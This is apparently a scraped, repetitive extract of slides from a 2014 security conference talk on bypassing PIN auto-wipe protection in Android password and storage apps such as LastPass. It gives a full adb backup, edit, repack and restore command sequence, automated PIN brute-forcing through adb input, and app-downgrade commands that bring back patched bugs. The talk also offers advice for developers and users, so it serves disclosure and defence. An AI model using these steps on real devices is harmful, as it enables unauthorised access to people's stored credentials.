  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 129: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 130: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 131: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

